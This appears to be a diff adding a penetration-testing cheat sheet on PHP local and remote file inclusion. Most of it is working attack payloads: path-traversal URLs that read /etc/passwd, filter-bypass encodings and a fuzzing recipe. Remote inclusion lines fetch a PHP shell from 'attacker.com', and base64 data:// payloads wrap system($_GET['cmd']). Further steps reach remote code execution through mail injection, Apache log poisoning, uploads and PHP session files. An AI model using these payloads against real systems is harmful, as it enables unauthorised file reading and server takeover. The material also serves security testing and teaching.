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+# File Inclusion
+* **`Remote File Inclusion (RFI)`**: The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
+* **`Local File Inclusion (LFI)`**: The sever loads a local file.
+
+**Vulnerable PHP functions:**
+* `require`
+* `require_once`
+* `include`
+* `include_once`
+
+
+## Basic LFI
+In the following examples we include the `/etc/passwd` file, check the **`Directory & Path Traversal`** chapter for more interesting files.
+```html
+http://example.com/index.php?page=../../../etc/passwd
+```
+traversal sequences stripped non-recursively
+```html
+http://example.com/index.php?page=....//....//....//etc/passwd
+http://example.com/index.php?page=....\/....\/....\/etc/passwd
+http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
+```
+### Null byte (%00)
+Bypass the append more chars at the end of the provided string (bypass of: `$_GET['param']."php"`)
+```html
+http://example.com/index.php?page=../../../etc/passwd%00
+```
+This is solved since **PHP 5.4**
+
+### Encoding
+```html
+http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
+http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
+http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
+http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
+```
+
+### From existent folder
+Maybe the back-end is checking the folder path:
+```html
+http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
+```
+### Identifying folders on a server
+* identify the "depth" of you current directory by succesfully retrieving `/etc/passwd` (if on Linux):
+```html
+http://example.com/index.php?page=../../../etc/passwd # depth of 3
+```
+* try and guess the name of a folder in the current directory by adding the folder name (here, private), and then going back to `/etc/passwd`:
+```html
+http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd 
+```
+* if the application is **vulnerable**, there might be two different outcomes to the request:
+  1. if you get an `error / no output`, the private folder does not exist at this location
+  2. if you get the content from `/etc/passwd`, you validated that there is indeed a privatefolder in your current directory
+
+ you want to check if `/var/www/` contains a private directory, use the following payload:
+ ```html
+http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
+```
+The following sequence of commands allows the generation of payloads using sed (1) as input for url fuzzing tools such as ffuf (2):
+```bash
+# 1
+sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
+
+# 2
+ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
+```
+
+### Path truncation
+Bypass the append of more chars at the end of the provided string (bypass of: `$_GET['param']."php"`)
+```html
+In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
+Check if last 6 chars are passwd --> passwd/
+Check if last 4 chars are ".php" --> shellcode.php/.
+```
+
+```html
+http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
+http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
+
+#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
+
+http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
+http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
+```
+> Always try to start the path with a fake directory (a/).
+> 
+> **This vulnerability was corrected in PHP 5.3**
+
+### Filter bypass tricks
+```html
+http://example.com/index.php?page=....//....//etc/passwd
+http://example.com/index.php?page=..///////..////..//////etc/passwd
+http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
+Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
+http://example.com/index.php?page=PhP://filter
+```
+
+## Remote File Inclusion
+In **php** this is disable by default because `allow_url_include` is **Off**. It must be On for it to work, and in that case you could include a PHP file from your server and get RCE:
+```html
+http://example.com/index.php?page=http://atacker.com/mal.php
+http://example.com/index.php?page=\\attacker.com\shared\mal.php
+```
+If for some reason `allow_url_include` is **On**, but PHP is filtering access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:
+```html
+PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
+```
+Another example not using the **`php://`** protocol would be:
+```html
+data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
+```
+
+## Python Root element
+In python in a code like this one:
+```python
+# file_name is controlled by a user
+os.path.join(os.getcwd(), "public", file_name)
+```
+If the user passes an absolute path to `file_name`, the previous path is just removed:
+```python
+os.path.join(os.getcwd(), "public", "/etc/passwd")
+'/etc/passwd'
+```
+
+### Top 25 parameters
+Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI)
+```html
+?cat={payload}
+?dir={payload}
+?action={payload}
+?board={payload}
+?date={payload}
+?detail={payload}
+?file={payload}
+?download={payload}
+?path={payload}
+?folder={payload}
+?prefix={payload}
+?include={payload}
+?page={payload}
+?inc={payload}
+?locate={payload}
+?show={payload}
+?doc={payload}
+?site={payload}
+?type={payload}
+?view={payload}
+?content={payload}
+?document={payload}
+?layout={payload}
+?mod={payload}
+?conf={payload}
+```
+
+## LFI / RFI using PHP wrappers & protocols
+### php://filter
+PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:
+1. **String Filters**:
+  * `string.rot13`
+  * `string.toupper`
+  * `string.tolower`
+  * `string.strip_tags`: Remove tags from the data (everything between `"<"` and `">"` chars)
+    > Note that this filter has disappear from the modern versions of PHP
+2.  **Conversion Filters**
+  * `convert.base64-encode`
+  * `convert.base64-decode`
+  * `convert.quoted-printable-encode`
+  * `convert.quoted-printable-decode`
+  * `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the list of all the encodings supported run in the console: `iconv -l`
+3. **Compression Filters**
+  * `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
+  * `zlib.inflate`: Decompress the data
+4. **Encryption Filters**
+  * `mcrypt.*` : Deprecated
+  * `mdecrypt.*` : Deprecated
+5. **Other Filters**
+
+Running in php `var_dump(stream_get_filters());` you can find a couple of unexpected filters:
+  * `consumed`
+  * `dechunk`: reverses HTTP chunked encoding
+  * `convert.*`
+
+```bash
+# String Filters
+## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
+echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
+## Same chain without the "|" char
+echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
+## string.string_tags example
+echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
+
+# Conversion filter
+## B64 decode
+echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
+## Chain B64 encode and decode
+echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
+## convert.quoted-printable-encode example
+echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
+=C2=A3hellooo=3D
+## convert.iconv.utf-8.utf-16le
+echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
+
+# Compresion Filter
+## Compress + B64
+echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
+readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
+# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
+```
+
+### Via Email
+Send a mail to a internal account (`user@localhost`) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like `/var/mail/<USERNAME>` or `/var/spool/mail/<USERNAME>`
+
+### Via upload
+If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).
+```html
+http://example.com/index.php?page=path/to/uploaded/file.png
+```
+In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
+
+### RCE via Mail
+First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.
+```bash
+root@kali:~# telnet 10.10.10.10. 25
+Trying 10.10.10.10....
+Connected to 10.10.10.10..
+Escape character is '^]'.
+220 straylight ESMTP Postfix (Debian/GNU)
+helo ok
+250 straylight
+mail from: mail@example.com
+250 2.1.0 Ok
+rcpt to: root
+250 2.1.5 Ok
+data
+354 End data with <CR><LF>.<CR><LF>
+subject: <?php echo system($_GET["cmd"]); ?>
+data2
+.
+```
+In some cases you can also send the email with the mail command line.
+```bash
+mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
+```
+### RCE via Apache logs
+Poison the User-Agent in access logs:
+```bash
+curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
+```
+> Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
+
+Then request the logs via the LFI and execute your command.
+```bash
+curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
+```
+
+
+### LFI to RCE via PHP sessions
+Check if the website use PHP Session (`PHPSESSID`)
+```html
+Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
+Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
+```
+In PHP these sessions are stored into `/var/lib/php5/sess_[PHPSESSID]` or `/var/lib/php/sessions/sess_[PHPSESSID]` files
+```html
+/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
+user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
+```
+Set the cookie to `<?php system(`'cat /etc/passwd');?`>`
+```html
+login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
+```
+Use the LFI to include the PHP session file
+```html
+login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
+```
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